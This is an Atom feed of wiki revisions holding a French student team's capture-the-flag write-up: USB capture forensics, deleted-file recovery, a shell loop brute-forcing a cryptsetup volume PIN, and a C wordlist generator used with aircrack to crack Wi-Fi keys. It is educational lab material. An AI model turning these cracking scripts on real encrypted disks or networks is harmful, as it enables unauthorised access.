<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cgodet1</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cgodet1"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Cgodet1"/>
		<updated>2026-05-13T01:38:30Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58342</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58342"/>
				<updated>2022-01-20T13:08:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Dessiner avec des sons */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
 	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
 	 if [ $? -ne 0 ];&lt;br /&gt;
 	 then &lt;br /&gt;
 		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
 		 exit&lt;br /&gt;
 	 fi &lt;br /&gt;
 &lt;br /&gt;
 	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
 	 if [ $? -eq 0 ]; then &lt;br /&gt;
 	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
 	 	exit&lt;br /&gt;
 	 else&lt;br /&gt;
 	 	cryptsetup close chiffre chiffre&lt;br /&gt;
 	 fi   &lt;br /&gt;
 &lt;br /&gt;
 	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
En lisant le fichier octet par octet, on trouve des paquets de 4 octets qui se répetent&lt;br /&gt;
On simplifie le motif en supprimant toutes les occurences superflues. On obtient une suite de symboles que l'on essaye d'interpréter comme soit des 0 soit des 1.&lt;br /&gt;
On se retrouve donc avec un fichier binaire. En interprétant ce dernier comme de l'ASCII on trouve un en-tête de la forme :&lt;br /&gt;
 P6&lt;br /&gt;
 225 225&lt;br /&gt;
 255&lt;br /&gt;
 //le reste du code binaire&lt;br /&gt;
&lt;br /&gt;
Cela fait penser à la trame d'un fichier ppm en nuance de gris&lt;br /&gt;
Lorsqu'on l'affiche comme tel, on n'obtient malheuresement pas une image lisisble&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
 	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
  		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
 			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
 				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
 					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
 						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
 							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
 								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
 									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
 										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
 								}&lt;br /&gt;
 							}&lt;br /&gt;
 						}&lt;br /&gt;
 					}&lt;br /&gt;
 				}&lt;br /&gt;
 			}&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58336</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58336"/>
				<updated>2022-01-20T13:04:38Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Perçage de coffre */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
 	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
 	 if [ $? -ne 0 ];&lt;br /&gt;
 	 then &lt;br /&gt;
 		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
 		 exit&lt;br /&gt;
 	 fi &lt;br /&gt;
 &lt;br /&gt;
 	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
 	 if [ $? -eq 0 ]; then &lt;br /&gt;
 	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
 	 	exit&lt;br /&gt;
 	 else&lt;br /&gt;
 	 	cryptsetup close chiffre chiffre&lt;br /&gt;
 	 fi   &lt;br /&gt;
 &lt;br /&gt;
 	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
 	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
  		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
 			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
 				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
 					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
 						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
 							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
 								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
 									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
 										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
 								}&lt;br /&gt;
 							}&lt;br /&gt;
 						}&lt;br /&gt;
 					}&lt;br /&gt;
 				}&lt;br /&gt;
 			}&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58334</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58334"/>
				<updated>2022-01-20T13:04:11Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
 	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
